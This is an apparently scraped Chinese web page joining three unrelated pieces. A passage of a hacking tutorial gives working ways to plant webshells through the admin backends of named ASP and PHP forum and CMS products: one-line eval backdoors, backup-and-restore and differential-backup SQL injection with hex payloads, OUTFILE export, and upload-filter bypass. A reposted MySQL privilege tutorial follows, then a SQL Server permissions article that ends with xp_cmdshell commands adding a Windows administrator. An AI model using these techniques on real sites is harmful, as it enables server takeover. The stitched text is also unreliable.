  利 用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker@263.net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//",还有一种方法就是写上 cnhacker@263.net"%><%eval request(chr(35))%><%',这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%> <%execute request("l")%><%',保 存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

  五、利用后台数据库备份及恢复获得webshell

   主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其 他后缀 如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管 理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加 上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改 gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。

  六、利用数据库压缩功能

   可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。
        七、asp+mssql系统

  这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:

  <form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">

  <p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>

  <p>要复制到的位置:<input name="backpath" type="text" size="80"></p>

  <p><input type="submit" value="提交"></p> </form>

   另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就 得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库 还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台 是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个 webshell,可以用利用上面提到的方法,将conn.asp文件备份成.txt文件而获得库名。

  差异备份的主要代码:

  ;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--

  ;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--

  ;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--

   ;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--

  这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其 他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制, 也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下 载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。

  八、php+mysql系统

  后台需要有mysql数据查询功能,我们就可以利用它执行 SELECT ... INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用 SELECT ... INTO OUTFILE语句导出shell。
  就可以暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写。下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号
  就会在up目录下生成文件名为saiy.php内容为的最小php木马, 最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码 将会在当前目录生成一个a.php的最小马。

  九、phpwind论坛从后台到webshell的三种方式

  方式1 模板法

  进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。

  方始2 脏话过滤法

  方式3 用户等级管理

  以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。

  十、也可以利用网站访问计数系统记录来获得webshell

  解决方案

   由于本文涉及的代码版本很多,所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统使用也可删除 此文件。大家如果不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告,若自己发现相关漏洞也可及 时通知官方网站。

  后记

  其实,从后台得到webshell的技巧应该还有很多的,关键是要看大家怎么灵活运用、触类旁通,希望本文的方法能起到抛砖引玉的作用。 各位加油吧,让我们将服务器控制到底!
        站长们也看看,怎样防止获得WEBSEHLL,让我们把安全做的更好。

Mysql用户与权限管理

Mysql用户与权限管理(zz)

========对于ROOT用户的密码操作(更改用户密码)========刚刚安装完的Mysql,只一有个root用户,密码为空,而且只能在本机登录! 为root加上密码xxx123:
./bin/mysqladmin -u root password xxx123
或写成
./bin/mysqladmin -uroot password xxx123 加下密码之后,在本进行进入mysql:
./bin/mysql -uroot -p
更改root的密码由xxx123改为yy1234:
./bin/mysqladmin -uroot -pxxx123 password yy1234  =======grant 权限 on 数据库对象 to 用户==========
MySQL 赋予用户权限命令的简单格式可概括为:
grant 权限 on 数据库对象 to 用户grant 权限 on 数据库对象 to 用户 identified by "密码" ========用户及权限管理:最常用操作实例========
(用户名:dba1,密码:dbapasswd,登录IP:192.168.0.10) //开放管理MySQL中所有数据库的权限
grant all on *.* to dba1@'192.168.0.10'identified by "dbapasswd"; //开放管理MySQL中具体数据库(testdb)的权限
grant all privileges on testdb to dba1@'192.168.0.10'identified by "dbapasswd";

grant all on testdb to dba1@'192.168.0.10'identified by "dbapasswd";
//开放管理MySQL中具体数据库的表(testdb.table1)的权限
grant all on testdb.teable1 to dba1@'192.168.0.10'identified by "dbapasswd"; //开放管理MySQL中具体数据库的表(testdb.table1)的部分列的权限
grant select(id, se, rank) on testdb.table1 to ba1@'192.168.0.10'identified by "dbapasswd"; //开放管理操作指令
grant select, insert, update, delete on testdb.* to dba1@'192.168.0.10'identified by "dbapasswd"; //回收权限
revoke all on *.* from dba1@localhost; //查看 MySQL 用户权限show grants;
show grants for dba1@localhost; ========用户及权限管理:更多更详细实例========下面用实例来进行说明: 一、grant普通数据用户(test1),查询、插入、更新、删除 数据库(test)中所有表数据的权利。grant select on test.* to test1@'%';
grant insert on test.* to test1@'%';
grant update on test.* to test1@'%';
grant delete on test.* to test1@'%';或者,用一条 MySQL 命令来替代:
grant select, insert, update, delete on test.* to test1@'%';
二、grant数据库开发人员(duser),创建表、索引、视图、存储过程、函数。。。等权限。 grant创建、修改、删除 MySQL 数据表结构权限。grant create on testdb.* to duser@'192.168.0.%';
grant alter on testdb.* to duser@'192.168.0.%';
grant drop   on testdb.* to duser@'192.168.0.%'; grant 操作 MySQL 外键权限。grant references on testdb.* to developer@'192.168.0.%'; grant 操作 MySQL 临时表权限。grant create temporary tables on testdb.* to developer@'192.168.0.%'; grant 操作 MySQL 索引权限。grant index on testdb.* to developer@'192.168.0.%'; grant 操作 MySQL 视图、查看视图源代码 权限。grant create view on testdb.* to duser@'192.168.0.%';
grant show   view on testdb.* to duser@'192.168.0.%'; grant 操作 MySQL 存储过程、函数 权限。grant create routine on testdb.* to duser@'192.168.0.%';grant alter routine on testdb.* to duser@'192.168.0.%';grant execute        on testdb.* to duser@'192.168.0.%'; 三、grant 普通DBA管理某个MySQL数据库(test)的权限。grant all privileges on test to dba@'localhost'其中,关键字 “privileges” 可以省略。
四、grant 高级 DBA 管理 MySQL 中所有数据库的权限。grant all on *.* to dba@'localhost' 五、MySQL grant 权限,分别可以作用在多个层次上。 1. grant 作用在整个 MySQL 服务器上:grant select on *.* to dba@localhost; -- dba 可以查询 MySQL 中所有数据库中的表。
grant all    on *.* to dba@localhost; -- dba 可以管理 MySQL 中的所有数据库 2. grant 作用在单个数据库上:grant select on testdb.* to dba@localhost; -- dba 可以查询 testdb 中的表。 3. grant 作用在单个数据表上:grant select, insert, update, delete on testdb.orders to dba@localhost; 4. grant 作用在表中的列上:grant select(id, se, rank) on testdb.apache_log to dba@localhost; 5. grant 作用在存储过程、函数上:grant execute on procedure testdb.pr_add to 'dba'@'localhost'
grant execute on function testdb.fn_add to 'dba'@'localhost' 六、查看 MySQL 用户权限查看当前用户(自己)权限:show grants;查看其他 MySQL 用户权限:show grants for dba@localhost; 七、撤销已经赋予给 MySQL 用户权限的权限。revoke 跟 grant 的语法差不多,只需要把关键字 “to” 换成 “from” 即可:grant all on *.* to  dba@localhost;
revoke all on *.* from dba@localhost; 八、MySQL grant、revoke 用户权限注意事项1. grant, revoke 用户权限后,该用户只有重新连接 MySQL 数据库,权限才能生效。2. 如果想让授权的用户,也可以将这些权限 grant 给其他用户,需要选项 “grant option“grant select on testdb.* to dba@localhost with grant option;这个特性一般用不到。实际中,数据库权限最好由 DBA 来统一管理。 

SQL Server的用户权限管理


2010-11-29 00:00中国IT实验室佚名
关键字:SQL Server 管理 权限 用户
 企业软件热点文章
 Oracle中的高效语句  Java Bean属性值动态设置
实际应用中,我们经常会在数据库中建立自己需要的登陆用户,但是您建立登陆用户的方法是否正确?是否对登陆用户的权限进行过详细的划分?划分前是否已经整理好该用户的权限呢?如果划分不当,您知道它带来的后果吗?
  请参考下面方法:
  目的:
  实际应用中,我们经常会在数据库中建立自己需要的登陆用户,但是您建立
  登陆用户的方法是否正确?是否对登陆用户的权限进行过详细的划分?划分前
  是否已经整理好该用户的权限呢?如果划分不当,您知道它带来的后果吗?
  一、建立用户前先分析该用户的用途
  在应用中我们经常会建立很多SQL Server的登陆用户,每个用户都有不同的
  用途,完成的功能也不相同,如果您是一个数据库的管理员,面对这么多数据库
  的登陆用户是否对这些登陆用户有很详细的了解,这里所说的了解是指具体的用
  途,比如:user_a只能读某个数据库的某个表;user_b可以读、写某个数据库的
  某些表等。有些管理员为了偷懒省事,直接复给它个db_owner更有甚者给它
  System Administrators权限,这样暂时虽然给您的操作带来了方便,但同时也给
  hacker们带来了方便。:)。因此这里有一个建议:“在建立登陆用户时,把它
  的详细用途用笔记下,然后整理,同时也为下次核查数据库的安全做了参考”
  例如:
二、正确的建立SQL Server用户
  1、打开SQL Server Enterprise Manager,在登陆中建立一个新的用户,在
  General栏中,输入名字->选择登陆方式->输入密码->选择默认的数据库,如图(一):
图(一)
  选择第二栏Server Roles,里面可以选择该用户的权限,需要注意的是,如
  果您选择了System Administrators,那么后面的Database Access栏就不用选
  择了,因为此时你的权限最大可以做任何事,这里我们不选,如图(二):
图(二)
  选择第三栏Database Access选择要访问的数据库,为该数据库选择相应的
  权限public,如果您还选择了db_owner,那么该用户就有了:添加、删除、修改
  该数据库的权限,这里我们不选,目的是为了对数据库中的表单独设置具体的权
  限。如图(三):
图(三)
  点击确定。
  2、打开刚才选择的数据库展开它->选择Users,在右边出现了我们刚才建立
  的用户->属性(右键),如图(四):
图(四)
  在Database role membership:中,你可以继续为它划分权限,我们选择
  public->Permissions… (右上角),然后出现针对具体表的权限设置,如图(五):
图(五)
  选择详细的规划后,点确定,到此有关权限的设置已经完成。
  三、权限划分不当的危害
  在新安装的SQL Server后,如果"sa"帐户,密码就为空,而且这个密码是SQL
  Server安全模块成员,享有最高的管理控制权,那么我们就可以用查询器或者
  OSQL登陆到对方的计算机上,前提是对方的数据库中
  xp_cmdshell stored procedure“扩展存储过程” 存在,默认是有的,(能让
  你这么容易的登陆上估计也不可能删除的)然后运行下面的命令:
  Xp_cmdshell "net user hacker 123456 /ADD"
  (增加一个名字为hacker密码为123456的用户)
  然后在:
  Xp_cmdshell "net localgroup Administrators hacker /ADD"
  (给刚才增加的hacker用户,添加到Administrators组中)
  这样攻击者就成功的在SQL SERVER上增加了一个windows用户,而且有最高权限,
  然后做什么呢?这个问题自己想吧,有了最高权限,想做什么就做什么吧。